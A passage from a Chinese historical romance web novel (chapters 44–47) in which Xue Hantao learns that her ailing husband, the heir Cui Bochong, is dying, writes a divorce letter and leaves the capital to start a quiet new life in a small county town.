意识到这一点,他的呼吸骤然急促,眼神落在了她细弱的脖颈处,若是,若是! “其实,也没那么好。”她仰头,对上他一片墨色的眼睛,小声问,“世子是不是受伤了?” “一点旧疾而已,已经好了。”崔伯翀漫不经心地移开视线,他曾经说过,要教她活着。 她不愿意接受都城那个荒诞的世界,所以她只需要陪他度过最后的一段时日,也不必怀上他的孩子,等到他死了就能离开。 自在地简单地活着。 “以后不准再抄书,接着作画。”他淡淡地瞥了她一眼,显得有些冷漠。 抄好的《金刚经》被收走,薛含桃半声不敢吭,世子发现了猫腻,当然不会再让她模仿他的笔迹再卖出去。 她颇为讨好地将笔墨都收起来,转而将颜料拿了出来,抿抿唇问道,“我可不可以,给世子作幅画?” 将他画上去,这样,见不到的时候就不会忘掉他的模样。 崔世子沉默了一瞬,矜慢地嗯声,“画的若是不好,桃子皮扒了。” “我一定好好画!”见他答应,薛含桃的脸颊红扑扑,郑重承诺。 她怎么敢不用心画?薛含桃觉得这是她这辈子最努力最细致的时候。 她画了一个崔世子。 而活着的世子就在她的面前- 次日,薛含桃心满意足地将这幅画带去了画坊,再三拒绝了掌柜的求买后,她将裱好的画作放进了背篓里面。 之后她又去买了些干桂花,心里想着回去后可以做银霜糕。 这次很惊喜,陪着她出府的人竟然是方大哥。 薛含桃总觉得世子的旧疾没有痊愈,她很想问种子开出的花是不是为了治疗旧疾。 只是方大哥看起来有些心不在蔫,她几次试探同他说话,他都仿佛没听到。 一路沉默,他们快要回到定国公府,薛含桃正要放弃的时候,方振开口了。 他说,“小桃,世子快要死了。” 第44章 第四十四章为什么不开花呢?…… 听到方振的话,薛含桃第一反应就是他在吓唬自己,世子怎么会死?那么多人为他供着长生牌位呢。 “方大哥,不可以随便说死字,不吉利的。”她的手心冒汗,语气十分谨慎。 末了,她还赶紧让方振呸呸两声并跺一跺脚,这是民间流传的一种习俗,可以去晦气。 方振没有按照她说的做,而是惨笑一声让她跟着自己来到了一处隐蔽的巷子,“小桃,你快要猜到了吧,世子患有痼疾,命不久矣,否则你与世子的婚事不会如此仓促。世子书房的药味,时常露出的疲倦,甚至那些浓郁的血腥气,每一种都是不祥的征兆。” “世子身上的旧伤会治好的……”薛含桃望着他,摇头喃喃道。 旧伤而已,怎么会危及性命? “小桃,方大哥怎么会骗你,治不好了。”方振抬头望天,忍住眼中的酸意,“这几日世子之所以不见你,只是不想你看到他被病痛折磨的样子。” 凹陷的脸颊,染着鲜血的薄唇,手背虬结的青筋,一幕幕闪过薛含桃的脑海,她用力地摇头,用力地闭上眼睛,不是的,绝对不是! “他会长命百岁,永远活着。”少女第一次对着她信任的方大哥露出执拗的抗拒,一字一句地说道。 “我们何尝不希望如此!”一个魁梧的汉子从方振的身后走了出来,看清她的模样后,语气微冲,“可宫里的那位,夫人的姐夫不希望。” 就算有一颗真诚对世子的心,但她终究是指使毒害世子的皇帝塞过来的,只为榨干世子的最后一分价值。 韩璞想到这一点,很难对她有好感。 “夫人想必不知道其中的内情,你的姐姐薛贵妃恐怕也被蒙在鼓里,只以为是一场联姻。” 薛含桃的脸色刷地一下变白,他的话什么意思,难道世子的旧伤和陛下有关,可是阿姐说让她嫁给世子是为了拉拢崔家保护小皇子。 “看来夫人不知,那就让我同夫人仔细解释清楚。”韩璞挺身向前,眯了眯眼睛,就要道出残酷的真相。 方振拦住了他,口吻严肃,“韩将军,这些事与小桃无关。” 她只是一个才到京城数月的小姑娘,糊里糊涂地找到了堂姐,糊里糊涂被嫁给了世子,“小桃是无辜的,她对世子也是真心。” “真心有什么用?再拖下去世子就要死了!”韩璞死死地盯着对面眼神呆滞的少女,如果不是逼到绝路,他也不想做一个恶人。 可是,世子被金人刺杀的那一天是他邀请世子一同出门,也是他粗心大意没能发现自己的手下混进来了一个细作。 虽然世子的伤只是诱因,定国公暗中加在药中的烈毒才是主因,但自此以后,韩璞每个晚上都会想到那一天,悔恨不已。 “世子不会死的。”薛含桃想到了陶罐中的种子,它发芽长出叶子了,只要开花就能治好世子。 所以,她鼓起勇气看向方振,“我捡到了种子,等种子开花可以治好世子。” 这是方大哥说过的话。 然而沉浸在焦躁中的两人根本不想了解什么种子什么开花。 韩璞想要的是一颗吃下去就能续命的丹药。 不止他,就连方振也无奈叹息,“世子如今的身体连孙医圣都回天乏术,或许过了这个年就…彻底崩坏,也或许这个冬天都撑不过去了。除了梅花还有什么花会在冬日绽放。” 冬日不会开花,这也是方大哥说的……听到这里,薛含桃的身体僵住。 “开不了花,那怎么办呢?”她彻底失神。 “续命丹药!仪静县主的手中有能让世子续命的丹药,一定要得到它。”韩璞声音急切地开口,告诉薛含桃只要娶仪静县主世子就可以活下去。 “仪静县主……”薛含桃的眼前 仿佛又浮现出一个温柔神女的模样,她是世子书房备受重视的客人,也是王牙媪口中仰慕世子的女子。 她捡回来的种子才只是长出叶子,而仪静县主的手中有立刻为世子续命的丹药。 “这样啊,我知道了。”薛含桃慢慢弯着嘴唇笑了,眼中有泪光闪烁。 “这件事必须要保密,不能让宫里的人知道,皇帝怎么会愿意看见世子又续命三年,若是他知道,必定会下旨将丹药夺走!” ……… “娘子,您这次出门怎么这么晚才回来?别是方管事在您的面前说好话了吧?”薛含桃一进门,果儿就带着阿凶迎上前,神色微有些得意。 那个方管事不知犯什么病,本来和娘子亲如兄妹的人,突然就对娘子冷淡下来,要说是世子的命令,那他不能阳奉阴违啊。现在可痛快,世子又想起娘子和娘子歇在一起,方管事肯定到娘子面前赔罪卖好去了。 “路有些远,我有些累走得慢,多用了一段时间。”薛含桃若无其事地将背篓放下来,拿出一包干桂花,讷讷道,“对,还买了些桂花呢。” “娘子是要做银霜糕?”果儿见怪不怪,当即准备帮她挑拣挑拣。 “不,我累了,果儿姐姐,你把方子还有桂花都给厨房,让别人做吧。”她如果离开了,总要有个人能做世子喜欢的银霜糕。 “行,娘子歇着,照我说早该如此。”果儿不觉有异,气势昂扬地拿着桂花往厨房去了。 世子和娘子重归于好,这事必须得传扬出去,省得有人小看娘子。 只有大黑狗察觉到了主人的异常,绕着她转了一圈。 “阿凶,没关系,只不过我们该回去原本的世界了。”仪静县主才是和世子一个世界的人,她手里有续命的丹药,和世子更是天定。 一切回到正轨罢了,只是她没想到会来的这么快,心底还是生出了妄想。 微不足道的妄想,很快就被碾碎。 薛含桃觉得自己要感谢仪静县主的出现,若非是她,自己越陷越深,恐怕会到痛不欲生的地步。 现在的时机刚刚好,她仅有一点痛一点伤心。 薛含桃脸上带着释然的笑意走进了寝房,世子正闭着眼睛躺在榻上,她抱着自己裱好的画作过去,歪着头打量他的睡颜。 和画上的一模一样呢,皎洁如月,慈悲的神明,她都画下来了。 她静静地看着眼睛不舍得眨一下,等看到世子手腕的茱萸手串松了才如梦初醒,放下画作重新打了一个结。 她一动崔伯翀就醒了,捉着她的手将她拽到了榻上。 “既然有了足够的银子,这些时日就少出门,画卖的越勤越不值钱。”崔世子怀里抱着她淡淡道。 “嗯,听世子的。”薛含桃说完这句话,深深吸了一口气,仰着头在他的眼尾轻轻亲了一下。 短暂的碰触,是一个少女的勇气,也是她的告别。 “今天很开心?”一个成熟的猎人不会放过桃子罕见地主动,崔世子仿佛又恢复了一点温柔,缓缓摩挲她的唇瓣。 力道很轻,和夜里的凶兽截然不同。 “嗯呐,画坊掌柜要出五十两银子买我的画,我画的是世子,怎么会卖给他?”五十两银子让薛含桃想起了尘封的往事,差一点,她就被五十两卖掉了,可现在她的一幅画就能卖到五十两。 她的笑里含了些绵绵的苦意,转而发现世子正专注地看着她,微苦又化作了纯粹的甜。 “吧嗒”她用力亲在世子的唇角,抛却掉羞涩尽情展示一颗桃子的风情。 “是世子教我作画,我又欠世子一些…”薛含桃的语气停顿,颇为苦恼,“还不清了。” “总有你偿还的时候。”崔伯翀嗅着她身上的气味,蠢蠢欲动,想要再和前天夜里一般把桃子融进骨肉里面。 极致的,疯狂的,肆无忌惮的,让她记住自己。 如果没有血缘的羁绊,或许需要一个月,再或是一年,她就会忘掉自己,身上覆盖上别人的印记。 仅仅想了一遍,疼痛似乎伴随着戾气卷土重来,他瞳孔微赤,忍耐着,轻笑着,向她提了一个要求。 “小桃子,你若想偿还,便答应百年以后把你的尸体给我。” “好,给世子。”薛含桃毫不犹豫地答应了,世子想要就拿去吧。 她说过的,只要她有的都可以。 “好姑娘。”崔世子神色温和地夸她,手指抚过她的脖颈,没有停留一直往下,扒开桃子的皮,喟叹一声咬下去。 被咬住的时候薛含桃乖顺极了,甚至连一声呼痛都没有,探出自己的胳膊,用力地够到崔伯翀的后背。 “我会永远祝愿世子,长命百岁,姻缘美满。” 这也是她曾经说过的话,现在终于要实现了。 只是她要等下一场雪,下一场雪到的时候种子也不会开花。 为什么不开花呢?薛含桃很想对着精心照顾的陶罐问出这个问题。 可是注定她不会得到答案。 所以后来,她哭的很伤心。 每一滴泪水都被崔世子笑着品尝进肚子里,乐此不疲。 之后的几天薛含桃一次门都没有出过,宫里的堂姐派人带她进宫也被她以身体不适的借口婉拒了。 “怕传染给小皇子。”实际上,她根本不敢见自己的堂姐,堂姐聪明,她蠢笨,万一被堂姐看出端倪可如何是好呢。 这时,薛含桃就开始庆幸自己没要堂姐的嫁妆,除了一匹给王牙媪的绢帛,旁的赏赐也没动过。 不然她怎么能离开。 “堂姐每次都问我生孩子的事,我回答不了。”对着崔世子,她也有自己的说辞。 她现在多厉害,撒起谎来面不红心不跳,薛含桃默默地笑自己,原来在都城久了也变得很复杂。 终于,第六天的时候,天空又飘下了雪花。 第45章 第四十五章她回去了自己的世界。…… 下雪的当天,崔伯翀轻描淡写对一颗桃子说边境传来了一份急报,要晚些入寝。 “殿中的狗毛收拾干净,若让我回来后嗅到一点气味,扣这只老狗十天的肉食。”临走之前,他居高临下地望着阿凶,眼中隐有暗光闪过。 大黑狗当即伏低了身体,毛发根根直立,这是遇到危险时防御甚至攻击的状态。它的感知比主人敏锐,注视着它的仿佛不再是人,而是一头彻头彻底的怪物。 可是下一刻,阿凶感到迷糊了,因为它的主人不仅没有逃到它的身后,还突然的主动的跑了过去,撞进那个怪物的怀中。 “我会等你的,等你回来。”薛含桃扬着小脸冲他甜甜的笑,语气格外认真。 她不知道自己抱着的人实际上是一头怪物,阿凶着急地去咬她的裙摆,让她快点躲在它的身后。 然而,往日能够被它拉动的主人这一次却用瘦小的身躯硬生生地往前更近一步,站在廊下看着那个高大的身影远去。 慢慢消失。 雪花飘在薛含桃脸上的那一刻,她的体内流淌着一股冲动,想要跑去和方大哥说,和韩将军说,可不可以再给她一些时间,她会拼尽全力。 尽力照顾种子开花,尽力让自己变成和仪静县主一般美丽大方的女子,尽力成为一个合格的世子夫人。 可是,正当她勇敢迈出第一步时,韩将军的话语又在她的耳边回响。 “真心有什么用?努力有什么用?治不好世子,也拿不到续命的丹药。” 薛含桃沉默地返回到了窗边,种子还是没有开花,数了一遍又一遍,还是只有十片叶子。 “一二三…十。” “一二…十。” “一…十。” “十!” 数到天色变暗的时候,她的声音哑了。 大黑狗依偎在她的脚边,也累地阖上了眼睛。外面的雪势越来越大,正当大黑狗以为主人终于要去睡觉时,少女蓦地跑出了房门。 穿着一件单薄的细布裙子,她一头扎进了冰冷的雪天,跑,急促地跑,就算在雪地上摔倒,也不知疼痛,站起来继续跑。 跑到书房的外面,薛含桃看见了方振、玉蘅还有更多更多她压根没有见过的护卫。 他们所有人围在书房的门口,对她的到来视若无睹,因为她本来就不重要,也没有任何用处。 她嘴唇蠕动,叫了一声方大哥。 可不可以让她进书房里面见一见世子,她很担心。 可是她的话还没有说出口,隔着一道墙壁,传来了轻轻的一声响,仿佛是什么东西掉在地上也仿佛是一个人站了起来。方振立刻如临大敌,勒令护卫打开房门。 书房的门开了,薛含桃心神一颤,慢慢地扭过头,她看到了世子,一个截然不同的世子。 仿若琴弦崩坏,仿若玉盘碎裂,一股令人不寒而栗的阴冷夹带着风暴之势汹涌而来。他疯狂地摧毁书房里看到的一切,也包括他自己。 那双纯黑的没有任何感情的眼睛闪烁着暴戾的光芒,只有毁灭二字。 薛含桃终于知道那些浓郁的血腥气是怎么来的了,因为护卫们一拥而上,用绳索用锁链用刀鞘,可他毫不在乎,任由自己鲜血淋漓。 “每到阴冷的雪天,世子的身体就会异常的疼痛。那种痛苦是常人无法想象的,起初世子都会强行忍下,可总有失控的时候,这时的世子便像是没有理智的野兽,伤人也伤己。” “所以,小桃,方大哥也做了一次恶人。” 方振偏头望着少女,她像是被世子的模样吓住了,可怜地定在了原地。 他想,看到这一幕对小桃而言也是好的吧,不要再把世子当作完美无瑕的神明,被病痛折磨的神明在常人眼中也和骇人的凶兽无异。 然而,霎眼间冷光闪过,被觉得是吓住的少女勇敢地,无畏地冲进了书房。 凶兽不耐撕扯缠在身上的绳索,反手夺过护卫手中的佩刀,毫不犹豫地砍向自己的肩膀时,薛含桃闭着眼睛撞进他的怀里,就像是前不久离开时的那样。 “不要!”她尖叫一声。 方振和其他护卫大惊失色。 锋利的刀刃下,一缕长发倏然飘落,刚好垂在男人的腕间,和一颗颗山茱萸两两相应。 不纯粹的黑,颜色黯淡的红。 崔伯翀目光定定地注视着自己的手腕,忽而低笑一声扔掉了刀柄,接着抓住了那缕头发。 在少女听到笑声颤着睫毛看向他时,他死死地扣住了她的腰肢,垂眸喟叹,“抓住你了,小桃子。” 这一个雪夜,桃子陪着凶兽平静地度过。 第二个雪夜,第三个雪夜,似乎也都安安稳稳。 桃子获得了一些宽宥,顶着方振等人复杂的目光,依偎在不甚清醒的凶兽身边厚脸皮地又留到了第四天。 第四天,一场雪终于停了。 天气转晴,薛含桃离开了书房,照例浇水施肥,感受到阳光的瞬间,她满怀激动地抱着陶罐跑去书房。 种子它长出第十一片叶子了,是不是冬天也能够开花? 但书房门口,玉蘅脸色发白地端出了一盆血水,鲜艳的颜色刺痛了她的眼睛。 “小桃,我们真的没有时间了。”方振像是老了好几岁,告诉她世子呕血后昏迷了过去。 他看着薛含桃,眼睛里面没有责怪,只是有些悲伤,而这时韩璞也来了信,信中说他多番请求,终于求来了仪静县主的原谅。 “县主深明大义,情愿再说服晋王拿出丹药,不求世子明着支持晋王成为皇太弟,只要世子娶她成为晋王的女婿即可。” 韩璞的来信方振给薛含桃看了一遍,她垂下头默默地盯着第十一片叶子,嗓子像是被、干涩的风吹坏了。 “陛下若要问罪,把一切都推到我身上吧,我知道世子病重难愈,不愿守寡。守寡没有二嫁的女子好孤独,我要和世子和离。” “和离书我会写的,没有人告诉我要嫁的夫君病重,这是骗婚,我很生气!” “堂姐庇护了我一段时间,我欠着她,方大哥能不能在世子的面前求求情,保护小皇子和堂姐平平安安。” “还有果儿姐姐,我有两间屋子的房契,给她。” “我要回乡了,因为害怕被陛下怪罪,所以只留下了一封和离书,走的仓促。” 薛含桃怀里抱着陶罐,朝方振最后笑了笑,“方大哥,这是我送给世子的新婚贺礼,不过要迟一些才能送来。” 种子还没有开花,她不放心被别人养着,所以要放在背篓里面和她一起回乡。 方振闭了闭眼睛,不敢看少女脸上的真诚,“你一人回去太危险,小桃,我让罗护卫陪你回乡,今夜就走。” “其实不用等到今夜的,我的东西不多,”薛含桃茫然地掰着手指头,“阿凶,陶罐,对,还有世子的画。” 她只需要带走这三样,和荷包里面自己赚的银子。 别的不属于她啊。 薛含桃告诉方振要还回去,方振应了一声好,亲自送她回了正房。 拿出笔墨,薛含桃写了一封和离书,最后一笔落下,她的眼角滑下了一滴泪水,落在纸上。 “我既不老实也不安分,生出了妄想,离开了再贪心一次吧。” 她喃喃自语着,并未将手腕的镯子摘下来。这是世子送给她的礼物,她想留着做一个纪念。 自己已经回礼了,虽然简陋但世子很喜欢- 黄昏,不知内情的果儿被支走后,一辆不起眼的马车从定国公府驶向了城门,没有引起任何人的注意。 守城的官兵惯例查看,只见马车里面坐着一个穿青色袄裙的小姑娘,有些瘦小,怀里抱着一只杂毛老狗。 发现马车的车门被打开时,她紧张地小脸泛白。 有几分姿色,眼睛尤其漂亮,晶莹剔透,但除此之外,就是个普通小姑娘。 守城官兵心里下了定论,点头挥手放行。 落日的余晖落在车厢上,薛含桃探出脑袋往庄严的城门呆呆地看了一眼。 再见了,不属于她的世界。 她和阿凶要回去自己的世界了。 然而这一眼仿佛耗尽了她身上所有的精神,第二天,薛含桃就病了,恹恹地缩在角落,脸颊酡红浑身高热不退。 焦急不已的老狗察觉到主人生病,拼命地咬着罗承武的衣袖,让他往回路去,阿凶知道那座高大的城池里面有人可以治好它的主人。 罗承武的脸色不停变幻,最终驾着马车飞快地驶向附近的一个县城。无论如何,先找个大夫为薛娘子治好身体。 一路上,少女始终不醒。 不过当他们到达县城的时候,大黑狗疯狂地拱着主人的手臂,舔她的手背。热闹的人声传入薛含桃的耳中,她睁开了眼睛。 车窗外,日光平等地照在每一个人的身上,她怔怔地望去,仿佛重新活了过来。 无论是野草还是野桃,只要有阳光有雨露都不会轻易枯萎的。 即便被灰溜溜地打回自己的世界,薛含桃也会努力地,好好地活着。 第46章 第四十六章“真是……太好了。”…… 薛含桃离开都城的第三天,马车停在了一个百里之外的小县城。 这个县城名青石县,因为当地盛产一种青色的石头而得名。青石被用来建造房屋和道路,所以,薛含桃眼中最多的便是素雅的青色。 踩在平坦的石板路上,她很快喜欢上了这个地方。 阿凶也很喜欢,因为街上有许多卖吃食的小摊小铺,劲道的汤饼,大块的烧肉,皮薄肚圆的角子,它停在了卖烧肉的铺子前,朝主人嗷呜叫了一声。 这两天主人生病,大黑狗一直忠诚地守在她的身边,罗承武喂它吃饼子,它连闻一下都不肯。 “罗护…大哥,我们先吃些东西吧,赶了两天路了,大哥肯定很累。”薛含桃的身体还虚弱着,不过她看向罗承武的眼睛里面已经有了些光彩。 “不,娘子,还是先带你去医馆。”罗承武皱着眉头,总觉得这两日的奔波将小姑娘脸上好不容易长出的肉减了下去。 她虽然醒过来了,但脸上仍带着些不正常的潮红。 病情怎么能拖?万一出了事,罗承武不仅无法向世子交代,自己的心里也会过意不去。 从见她第一面开始,他就一眼看出她是一个诚恳本分的姑娘,纯真忠厚,怀有赤子之心。 陛下赐婚没人问过她情不情愿,她战战兢兢地嫁进来用心地对待每一个人,从不抱怨,可到了最后,勇敢将责任揽在身上被迫离开京城的人也是她。 罗承武想,眼前的小姑娘也是一个活生生的人,有自己的喜怒哀乐,可是为何从头到尾她就要被忽略掉。 因为她出身平凡,还是因为她背后那个宫里的堂姐对她八分利用两分才是真心? 作为一个黑脸性闷的汉子,罗承武此时难得感伤,或许心里还有几分愤怒。 “阿凶饿了,其实我也饿了。”闻言,薛含桃有些歉疚地垂头,“罗大哥,对不起,让你费心我的病。” 如果不是她生病,他们就不用绕路到这里来。现在,罗大哥回京肯定要晚几天。 “也是,肚子吃饱身体才能好得快。”顺着她的视线,罗承武看到了眼带渴望的大黑狗,心中叹息。 恐怕在这世上,唯一全心全意对待小姑娘的只有脚边这只黑狗。 罗承武道,“你生病这两天,它几乎不吃不喝。” “阿凶是天底下最好的狗狗,它唤醒了我。”薛含桃俯下身,抱住了她的大黑狗。 这两天病着她并非没有意识。缩在车厢里面的时候就觉得很冷,牙齿都冻到打颤,是阿凶紧紧依偎在她的身边,为她提供了温暖。 从前,现在,十几年中,她能够相依为命的也只有它。 所以,“等会儿一定要买很多的肉,还有骨头汤,让阿凶吃饱!” 薛含桃摸到了自己身上的荷包,前后花掉了一两,现在还有十四两,节省一些的话足够她和阿凶吃用一年了。 想到这里,她笑起来,唇角上扬的模样令人晃了晃神。 桃子初露风情,即便生病时微有憔悴,那股由内及外的甜蜜也能吸引到许多目光。 罗承武犀利地察觉到有两三道隐晦的打量落在小姑娘身上,立刻寒着脸挡在她的身前,“我们进去吧。” “嗯。”薛含桃比较迟钝,还以为自己仍是从前那个灰扑扑的样子呢。 这里的物价显然比京城低多了,一顿饭总共才花了九十文。 吃过饭后便去了医馆,大夫说她伤情过身,抓了几服药,薛含桃又花出去将近二百文。 药必须煎服,他们还有一辆马车,所以找了一间邸店住下。 邸店的价钱也不贵,两人一狗一马住一日要八十文,吃食除了早上那一顿另算。 傍晚,薛含桃喝下药汤就沉沉睡了过去,门内阿凶守着,门外罗承武寸步不离。 今夜的月光格外地亮,就算生病也没被疏忽的陶罐沐浴在月光下,慢慢地长出了第十二片叶子。 这片叶子似乎和前十一片叶子都不一样,顶端有浅浅的紫色,叶面又广又阔。 第二天日上三竿的时候,薛含桃才发现,她用手背揉了揉自己的眼睛,确认没有看错,小小地弯了下唇。 “真是……太好了。” 它并没有因为路途的颠簸而萎靡不振,薛含桃笑着笑着就哭了。 被断定枯死的种子都在茁壮成长,她这颗桃子还有什么理由继续病下去呢。 薛含桃突然决定不回去家乡了,丰县发过一场洪水,到那里也还要几日,她迫切地想要和种子一样扎根在泥土中。 仿佛重新接触到大地,就能忘记心里的难过。 “罗大哥,我想留在青石县,这里物价不贵,距离京城不太远也很安全,我觉得住在这里比丰县好。”对着罗承武,她深吸了一口气有些惴惴。 薛含桃担心被他误认为自己心里仍存着妄想,但真的不会了,不敢了,她加了一句话,“如果不放心,罗大哥可以等世子与仪静县主成婚后再离开。” 看见少女眼中的胆怯,罗承武没有解释,沉闷嗯了一声。 “对外,就称你我是兄妹,”想到两个人姓氏不同,他又道,“表兄妹,母亲是亲姐妹。” “姨母家的?”薛含桃得到他的一个点头,呆了半刻,喊他,“大表兄。” 罗承武再次点头,“表妹小桃。” ……他们两人都笑起来。 决定在青石县住下来,邸店便不再合适,薛含桃和阿凶休息的时候,罗承武在县城里面找到了一处有厨房有菜地还有三间正屋一间厢房的院子。 他和屋主赁了整一年,不过回头告诉薛含桃的时候却说赁了三个月,每月六百文。 “大表兄,这是三两银子。”薛含桃赶紧掏出银子给他,“剩下的就买柴买面,对了,还要给马买些豆粕。” ……新的小院带来了新的气象,她的身体开始好转。 住进去的第一天,薛含桃就背着背篓出了门,她带着大黑狗在简单的坊市里面买了很多东西。 有布有糖有碗有肉还有绑头发的红绳,背篓不多时就被装满了。回来的路上,她听到有人在叫卖糖葫芦,默默走过去买了三串。 一串留给罗大表兄,一串她坐在院子里面和阿凶分吃完了,最后一串睡觉的时候她用油纸包好放在了自己的枕头边。 可能是酸酸甜甜的气味作祟,薛含桃住在陌生房间的第一个夜晚也做了一个酸酸甜甜的梦。 梦里陶罐里的种子终于开花,她兴高采烈地抱着它回去都城报恩,然后走了四千多步到定国公府门口的时候,她的恩人出现了。 耀眼夺目的神明没有发现她的存在,而是一脸温柔地回望。 两匹黑色的马神骏不凡,四角镶嵌汉白玉的马车尊贵无双,车辕上,他回望的人慢慢露出了真容。 她不是普普通通的野草,是柔美的重瓣芍药,天生丽质,合该被神明放在手心娇养。 神明和女子站在一起,从容优雅,哪里有半分病容? 薛含桃抱着陶罐仰望他们,最终被一个身形魁梧的将军发现,他驱赶她,恶狠狠地警告她不要痴心妄想。 野草就该待在无人注意的路边,桃子也不行,趁早腐烂在土里。 她连连哀求,想把花献给神明,将军冷漠地不理,突然旁边蹿出了一只威风的大黑狗,它呲牙吓跑将军,带着她找到了神明在的地方。 神明接受了她的花,说,“小桃子,你不再欠我了,你已经获得新生。” 神明的笑容摄人心魄,薛含桃的灵魂仿佛脱离躯体,飞到了软绵绵的云朵中,她舒展四肢,很是惬意。 这夜过后,薛含桃的身体完全恢复了正常,她不再伤心不再茫然,画轴也被她放进箱子的最深处锁了起来。 早上,天刚亮,她就从暖和的被窝里面爬出来,穿上厚厚的袄裙,先去厨房看水缸有没有结冰。 然后等太阳出来一些,就给陶罐和菜地浇水,洗漱,到厨房忙活。 罗承武起身后,她已经熬好小米粥,蒸了几个肉乎乎的大炊饼。 “大表兄,快来吃早膳。一会儿我想请你驾着马车带我到城中看一圈。”薛含桃搅着手指头,神色赧然。 她不能坐吃山空,所以,想去查看县城有没有卖画的地方,好为以后的生计打算。 还有一点小心思,让别人知晓她有一个不好惹的兄长,这样危险就会少很多。 “当然可以,小桃,回来时再买些糕点,分给周围的人家。”罗承武终究要回京城,离开前他准备也在四邻的跟前多露露面。 “嗯。”薛含桃乖巧点头。 于是,不到一天的时间,就有不少人知道这里住了一对表兄妹。 表妹有一个身为秀才公的父亲,擅绘画,养一只黑色大狗;表兄面相凶狠,据闻在都城的大户人家做护卫,一身腱子肉,武艺不凡,还有十来个兄弟供他差遣,了不得哦。 而在这家表兄不小心亮出了削铁如泥的佩刀后,县城的地痞流氓都不敢再走他家门前路过。 街坊领居们高兴地不得了,颇为乐于同这一对兄妹交好。 没几日,他们又说表妹薛娘子老实乖巧,是难得一见的好姑娘。 在他们的夸赞声中,薛含桃的一颗心逐渐安定下来。 她每天仍然用心地照顾陶罐,可神明已经不会再在她的梦中出现了,因为她认清了现实,知道桃子之后不会再迈入神明所在的世界。 京城的消息偶尔也有传来,百姓们热情谈论宫里的薛贵妃,说她乃是天命之女,所以才能为陛下生下唯一的皇子。 “照这么说,那小皇子的来历就更不得了了。” 堂姐和小皇子平安尊贵,之后也没听到陛下降旨惩罚什么人,薛含桃心头的顾虑也逐渐消失。 一切都很圆满,她觉得自己离开的决定再正确不过了。 原本就不配。 第47章 第四十七章薛含桃有些不安。…… 时间从十一月步入十二月,临近新年,青石县的氛围变得很是喜庆。 过了腊月初八,街上的人也变得多起来。薛含桃在县城唯一的画坊里买过颜料,并未急着离开,而是又挤在人群里面看了一会儿的傩舞。 傩舞一般只有年前才看得到,能够驱逐邪祟,凡是遇到的人没有要紧的事是一定要等到傩舞完成的,若是被主持傩舞的方相氏看中赐予祂脸上的面具,那就走运了。 寓意着今后一整年百事皆吉,无病无灾无痛。 薛含桃从没想过自己会得到方相氏的青睐,这里的人围了里三层外三层,她呀,很不起眼的。 她只是聚精会神地盯着方相氏脸上的黄金面具,好奇面具上怎么会有四只眼睛,难道是因为神特别厉害吗? 少女看着面具上的眼睛入了迷,神色认真,明亮的日光洒在她仰起的小脸上,朦胧出尘。 这时,人群中发出了一道惊呼,原来是方相氏脚步停顿后蓦然改变方向,朝着一人走去。 所有人都屏紧了呼吸,期待方相氏能把驱逐邪祟的面具赐予自己,可是,高大神秘的方相氏最终来到一个背着背篓的少女面前。 薛含桃睁着一双水汪汪的大眼睛看向停在自己面前的方相氏,愣愣地不知如何反应。 方相氏怎么停在了她的面前,难道是因为她挡住祂的路了? 反应过来后,她的脸上浮现两分窘迫,飞快往一旁退了退,希望方相氏不要责怪她。 但是方相氏没有动,祂摘下了脸上的面具,将面具递给她。 “姑娘,新的一年愿你幸福无忧。”四只眼睛的面具下面是一个明眸皓齿的年轻男子。 薛含桃怔然片刻,慌忙伸出双手接住了面具,语气充满了敬畏,“谢谢,谢谢您的祝愿。” 年轻男子因为她的紧张笑了起来,告诉她自己只是扮演方相氏,并不是真的神明。 “我姓稽,名稽韶,是在县城学塾教书的夫子。”他的笑颜中含着读书人的文气,瞬间冲淡了面具给人带来的神秘感。 “稽夫子!我,我姓薛。”薛含桃不好意思地笑笑,垂眸掩下了内心的一点失落,原来神明是人装扮的啊,她还以为自己遇上了又一位神明。 傩舞结束,人群也随之散去。 稽韶却并未选择离去,他还要指导今日得到面具的幸运之人将面具正确地悬挂在家中,对此,一般人都欢迎备至。 “不知薛娘子家中是否还有旁人?”稽韶让她放心自己并非是坏人,只是男女授受不亲,她家中若无旁人,他便只好口头交代几句。 “我有一个大表兄,嗯,还有阿凶。”薛含桃老老实实地回答,哪怕知晓他只是装扮神明,也不敢有丝毫不敬。 “是两位兄长吗?”稽韶反问。 “不是不是,阿凶是一只黑狗,我想知道稽夫子怕不怕狗?”她摆摆手回道。 “黑狗有灵,是公是母?我家中刚好有一只猧子,毛发蓬松,最爱扑蝶。”稽韶来了兴趣,同她说起自己家中一只玲珑可爱的小狗。 闻言,薛含桃有些迷茫,“猧子也是狗吗?为什么要扑蝴蝶?阿凶最爱在田间扑兔子,兔子用来吃。” 听到这里,稽韶控制不住地哈哈大笑起来,等看到少女脸上露出些无措,他赶紧同她解释,猧子是一种小型犬类,平日里不看家不守门,当作、爱宠。 “薛娘子若不介意,下次我带猧子与你家阿凶一起玩耍,对了,它也有名字,因毛发洁白故名飘雪。” “很好听的名字。”薛含桃想起了被她尘封起来的雪夜,微微失神。 她想自己也许不会再喜欢下雪的日子了,好在青石县这些天都没有下雪。 两人一边说着一边走近了小院,刚好,今日罗承武就在家中。 前些时日,他在武馆找到了一个活计,每六天歇息一次,每月八两银子。 “小桃,这人是?”罗承武和大黑狗一起迎出来,目光停在稽韶身上,颇为严肃。 “大表兄,这是今年扮演方相氏的稽夫子,他来为我悬挂面具。”薛含桃小心翼翼地捧着面具让罗承武看,笑容明媚。 她得到了面具,意味着新的一年还可以得到神明的庇护。 “哦,主持傩舞的人。”罗承武了然,京城也有这样的习俗,并不少见。 他侧身请稽韶进门,大黑狗的鼻子嗅了嗅,也没有发出叫声。 面对一个黑脸时刻盯着他的汉子,稽韶颇有些不适,不过他还是尽忠尽职地将面具挂好,并再次同薛含桃说了祝语。 之后就要离开。 “稽夫子,这个给您。”薛含桃想了想,从厨房取出了两斤肉干作为回礼,“送给您的飘雪。” 家中没有待客的糕点了,肉干是她新做的,味道很不错,拿出来送人也许有一点寒酸,所以她聪明地改了口,说要把肉干送给稽夫子养的小狗。 阿凶也喜欢吃这种肉干,好像能用来磨牙。 “薛娘子好巧思,那我就却之不恭了。”稽韶没有拒绝,很爽快地拎着油纸包好的肉干出了门。 薛含桃笑着注视着他远去。 一旁,罗承武看到这个场景,眉目间隐有沉思。他怎么忘了小桃此时在别人眼中就是一个花龄少女,尚未婚配。 所以,有男子看上她或者下定主意后前来提亲一点都不奇怪。 到今日,他们已经离开京城一个多月了,世子应该在和仪静县主议亲了吧。 “小桃,你称他稽夫子,难道他是教书的不成?”罗承武意味不明地问道,如果这人可靠的话,小桃和他来往倒也没什么。 